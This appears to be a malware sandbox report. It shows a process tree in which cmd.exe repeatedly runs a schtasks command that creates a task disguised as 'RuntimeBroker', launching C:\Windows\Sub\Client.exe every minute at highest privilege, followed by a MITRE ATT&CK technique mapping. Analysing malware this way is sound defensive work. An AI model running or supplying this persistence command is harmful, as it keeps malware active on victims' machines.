        PID:2616
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:1112
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:4904
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:4656
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:2152
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:4400
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:1120
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:2232
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:5056
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:3184
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:4816
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:4084
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:4080
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:4412
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:2324
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:4416
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:4932
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:1584
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:3316
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:3356
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:5108
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:3964
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:4860
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:2704
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:1140
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:212
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:2216
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:612
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:2976
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:2412
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:2708
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:4680
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:4176
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:3932
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:4816
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:1508
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:1992
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:4412
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:4940
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:752
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:2092
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:4344
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:3908
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:3204
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:5020
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:116
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:2904
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:1400
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:712
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:4416
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:904
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:1836
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:3236
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:1704
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:3968
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:3356
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:1488
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:4084
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:3964
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:3528
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:5072
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:2076
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:1420
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:2536
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:904
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:4968
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:1500
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:3316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...